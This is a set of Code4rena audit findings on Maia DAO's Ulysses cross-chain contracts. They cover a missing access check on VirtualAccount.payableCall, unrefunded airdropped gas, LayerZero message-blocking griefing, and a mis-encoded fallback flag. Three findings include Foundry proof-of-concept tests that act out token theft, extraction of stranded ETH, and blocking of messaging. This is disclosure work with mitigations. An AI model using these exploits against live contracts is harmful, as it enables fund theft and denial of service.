Maia DAO - Ulysses - Kow's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85-L112

Vulnerability details

Impact

Anyone can manage/steal assets from a user's virtual account and call privileged functions allowed to the virtual account (retrySettlement, retrieveSettlement, redeemSettlement).

Proof of Concept

A user's VirtualAccount acts as an omnichain wallet deployed on the root chain (Arbitrum) allowing standardised transfer of and interaction with funds from multiple branch chains. Access is restricted to approved callers or the owner of the account through the modifier requiresApprovedCaller. However, this modifier is not applied to payableCall allowing anyone to make arbitrary calls with the owner's virtual account as msg.sender, nullifying any access restrictions.

Add the test below to RootForkTest.t.sol (with the interfaces defined outside the main test contract). It demonstrates that an arbitrary caller can transfer tokens from the virtual account to themselves.

interface IVirtualAccount {
    struct PayableCall {
        address target;
        bytes callData;
        uint256 value;
    }   

    function payableCall(PayableCall[] calldata) external payable returns (bytes[] memory);
}

interface ERC20 {
    function transfer(address to, uint256 amount) external virtual returns (bool);
}

    function testVirtualAccountCall() public {
        address user = makeAddr("alice");
        address virtualAccount = address(rootPort.fetchVirtualAccount(user));
        uint256 mintedAmount = 100 ether;
        arbitrumMockToken.mint(virtualAccount, mintedAmount);

        address attacker = makeAddr("bob");
        IVirtualAccount.PayableCall[] memory calls = new IVirtualAccount.PayableCall[](1);
        bytes memory callData = abi.encodeWithSelector(ERC20.transfer.selector, attacker, mintedAmount);
        calls[0] = IVirtualAccount.PayableCall(address(arbitrumMockToken), callData, 0);

        vm.prank(attacker);
        IVirtualAccount(virtualAccount).payableCall(calls);

        require(arbitrumMockToken.balanceOf(attacker) == mintedAmount);
        require(arbitrumMockToken.balanceOf(virtualAccount) == 0);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding the requiresApprovedCaller modifier to payableCall in VirtualAccount.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L431 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L584 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreBranchRouter.sol#L86-L112 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L332-L347

Vulnerability details

Impact

Users lose the extra gas they airdrop to make multi-hop cross-chain messages in case of transaction failure. This balance can be extracted by other users both intentionally (possibly in an automated process) and unintentionally.

Proof of Concept

Multiple functions allow providing custom GasParams to send extra gas to the message receiver and facilitate multi-hop cross-chain transactions (e.g. bridging from one branch chain to another branch chain via the root chain). The airdropped gas is first sent by the LayerZero relayer to the bridge agent before lzReceive is called. https://github.com/LayerZero-Labs/LayerZero/blob/48c21c3921931798184367fc02d3a8132b041942/contracts/RelayerV2.sol#L164-L165

    function validateTransactionProofV2(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _blockHash, bytes32 _data, bytes calldata _transactionProof, address payable _to) external payable onlyApproved nonReentrant {
        (bool sent, ) = _to.call{value: msg.value}("");
        ...

This gas is transferred to each calling contract as the transaction continues. If settlement of a bridging transaction successfully executes, the excess airdropped gas is sent to the recipient in executeWithSettlement and executeWithSettlementMultiple.

However, if any cross-chain message (not restricted to bridging transactions) before the final one reverts (before the bridge agent executor call if fallback is enabled, otherwise anytime in the lzReceive call), lzReceive ends without refunding excess gas leaving excess native balance in the bridge agent (BranchBridgeAgent is the same, but omits the last line). https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L431

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );

        if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
    }

The unused gas will remain in the bridge agent until another transaction utilises it (since address(this).balance is forwarded in lzReceiveNonBlocking). Exploiters may also create transactions (possibly in an automated manner) to extract the excess balance from the bridge agent.

Add the test below to RootForkTest.t.sol. It demonstrates how a failed transaction leaves the airdropped gas in the root bridge agent contract and how this excess may be extracted.

function testNoRefund() public {
        // add local token for avax global token on ftm chain
        testAddGlobalTokenFork();
        // assert that the bridge agent starts off with no balance (so we know it actually receives eth later)
        require(address(multicallRootBridgeAgent).balance == 0);

        switchToLzChain(avaxChainId);

        // setup attempted bridging
        address user = makeAddr("alice");
        vm.deal(user, 10 ether);

        uint256 amountOut = 100 ether;
        Multicall2.Call[] memory calls;
        OutputParams memory outputParams = OutputParams(
            user,
            address(avaxGlobalToken),
            amountOut,
            amountOut
        );

        bytes memory params = abi.encode(calls, outputParams, ftmChainId, GasParams(200000, 0.01 ether));
        bytes memory payload = abi.encodePacked(bytes1(0x02), params);

        DepositInput memory dParams = DepositInput(
            address(avaxMockAssethToken),
            address(avaxMockAssetToken),
            amountOut,
            amountOut
        );
        avaxMockAssetToken.mint(user, amountOut);

        // bridge out with 0.01 ether airdropped gas
        vm.startPrank(user);
        avaxMockAssetToken.approve(address(avaxPort), amountOut);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 10 ether}(payable(user), payload, dParams, GasParams(200000, 0.01 ether), false);
        vm.stopPrank();

        switchToLzChain(rootChainId);

        // assert that the airdropped gas is in the bridge agent contract (* 10000 for default gas price)
        uint256 rootBridgeAgentBalanceAfter = address(multicallRootBridgeAgent).balance;
        require(rootBridgeAgentBalanceAfter == 0.01 ether * 10000);

        // setup local arbitrum token
        testAddLocalTokenArbitrum();

        // now exploiter takes the airdropped gas by transferring tokens to root chain (on root chain)
        // setup call to take the balance
        address exploiter = makeAddr("bob");

        dParams.hToken = newArbitrumAssetGlobalAddress;
        dParams.token = address(arbitrumMockToken);
        outputParams.recipient = exploiter;
        outputParams.outputToken = newArbitrumAssetGlobalAddress;

        params = abi.encode(calls, outputParams, rootChainId, GasParams(0, 0));
        payload = abi.encodePacked(bytes1(0x02), params);
        arbitrumMockToken.mint(exploiter, amountOut);

        // execute call to take balance
        vm.startPrank(exploiter);
        arbitrumMockToken.approve(address(arbitrumPort), amountOut);
        arbitrumMulticallBranchBridgeAgent.callOutSignedAndBridge(payable(exploiter), payload, dParams, GasParams(0, 0), false);
        vm.stopPrank();

        // assert the exploiter received all of the airdropped gas
        require(exploiter.balance == rootBridgeAgentBalanceAfter);
        require(address(multicallRootBridgeAgent).balance == 0);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider attempting to refund to the caller/recipient on revert in the non blocking receive (and not reverting if the refund fails to avoid potential issues with malicious message blocking).

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L431 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L584

Vulnerability details

Impact

A malicious user can repeatedly make calls that revert (avoiding the non-blocking implementation) and trigger LayerZero's message blocking behaviour to grief protocol message execution, creating significant downtime.

Proof of Concept

Users are allowed to provide custom GasParams in multiple functions to send extra gas to facilitate sending multiple cross-chain messages via LayerZero. However, there are no restrictions on the amounts specified. Consequently, a malicious user can make calls between bridge agents on branch chains and root chains with a low gas limit (min. 1 since LayerZero relayer requires it to be > 0), forcing a revert before lzReceiveNonBlocking is called on bridge agents and blocking LZ messaging from the source chain to the destination chain. https://github.com/LayerZero-Labs/LayerZero/blob/48c21c3921931798184367fc02d3a8132b041942/contracts/Endpoint.sol#L115-L124

        StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress];
        require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking");

        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload));
            emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }

This necessitates someone retrying the payload on the destination chain with sufficient gas to unblock the messaging path. However, this attack can be repeated at low cost for most L2 chains the protocol plans to deploy to (guaranteed for the root chain Arbitrum), creating significant downtime.

Add the tests below to RootForkTest.t.sol. The first one demonstrates bricking from branch to root (should revert due to "LayerZero: in message blocking", and the second from root to branch. The ETH sent on the initial calls was chosen arbitrarily to ensure success on execution (any excess ETH is refunded anyway).

    function testBrickBranchToRoot() public {
        // add a local token on avax
        testAddLocalToken();

        // assert avax to root chain lzEndpoint path is not yet blocked
        bytes memory srcAddress = abi.encodePacked(address(coreRootBridgeAgent), address(avaxCoreBridgeAgent));
        bool hasStoredPayload = ILayerZeroEndpoint(lzEndpointAddress).hasStoredPayload(avaxChainId, srcAddress);
        require(hasStoredPayload == false);

        switchToLzChain(avaxChainId);

        address attacker = makeAddr("alice");
        vm.deal(attacker, 1 ether);

        // send msg with minimal gasLimit to force revert before nonBlockingReceive
        vm.prank(attacker);
        avaxCoreRouter.addLocalToken{value: 1 ether}(address(avaxMockAssetToken), GasParams(1, 0));

        // execute addLocalToken msg
        switchToLzChain(rootChainId);

        // assert root chain lzEndpoint is now blocked (also implies nonBlockingReceive did not execute)
        hasStoredPayload = ILayerZeroEndpoint(lzEndpointAddress).hasStoredPayload(avaxChainId, srcAddress);
        require(hasStoredPayload == true);

        switchToLzChain(avaxChainId);

        // now check that LZ msging is blocked
        // setup a bridging attempt
        address user = makeAddr("bob");
        vm.deal(user, 2 ether);
        DepositInput memory depositInput = DepositInput({
            hToken: avaxMockAssethToken,
            token: address(avaxMockAssetToken),
            amount: 100 ether,
            deposit: 100 ether
        });
        avaxMockAssetToken.mint(user, 100 ether);

        // user attempts to bridge token
        vm.startPrank(user);
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        avaxCoreBridgeAgent.callOutSignedAndBridge{value: 1 ether}(payable(user), "", depositInput, GasParams(2_000_000, 0), true);
        vm.stopPrank();

        // this should revert due to LZ endpoint blocking execution of bridging transaction
        switchToLzChain(rootChainId);
    }

    function testBrickRootToBranch() public {
        // add a global token to use for call
        testAddLocalTokenArbitrum();

        switchToLzChain(avaxChainId);
        // assert root to avax chain lzEndpoint path is not yet blocked
        bytes memory srcAddress = abi.encodePacked(address(avaxCoreBridgeAgent), address(coreRootBridgeAgent));
        bool hasStoredPayload = ILayerZeroEndpoint(lzEndpointAddress).hasStoredPayload(rootChainId, srcAddress);
        require(hasStoredPayload == false);
        switchToLzChain(rootChainId);

        address attacker = makeAddr("alice");
        vm.deal(attacker, 1 ether);

        // call out with low gas limit to trigger blocking
        GasParams[3] memory gParams = [GasParams(0, 0), GasParams(1, 0), GasParams(0, 0)];
        vm.prank(attacker);
        arbitrumCoreBranchRouter.addGlobalToken{value: 1 ether}(newArbitrumAssetGlobalAddress, avaxChainId, gParams);

        switchToLzChain(avaxChainId);

        // assert root to avax chain endpoint path is now blocked
        hasStoredPayload = ILayerZeroEndpoint(lzEndpointAddress).hasStoredPayload(rootChainId, srcAddress);
        require(hasStoredPayload == true);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider implementing a minimum value for the GasParams supplied, separate for each chain for RootBridgeAgent.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1090

Vulnerability details

Impact

Attempted bridging with hasFallbackToggled using callOutAndBridgeMultiple (from MulticallRootRouter or custom routers) will not make a fallback call on the branch chain, necessitating a separate retrieveSettlement call (that costs extra gas) if settlement fails.

Proof of Concept

In the payload of a multiple asset settlement, if the first byte is 0x82, it is intended that a fallback call is made if the payload execution fails. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L638-L651

        } else if (flag == 0x02) {
            ...
            //Try to execute remote request
            // Flag 2 - BranchBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithSettlementMultiple(recipient, localRouterAddress, _payload)
            _execute(
                _payload[0] == 0x82,
            ...

However, the first byte is incorrectly encoded as bytes1(0x02) & 0x0F, which is equivalent to 0x02. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1090

            _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),

Consequently, the fallback will not be triggered regardless of the value of _hasFallbackToggled.

Tools Used

Manual Review

Recommended Mitigation Steps

Consider changing the encoding to bytes1(0x82) if _hasFallbackToggled = true.

Assessed type

en/de-code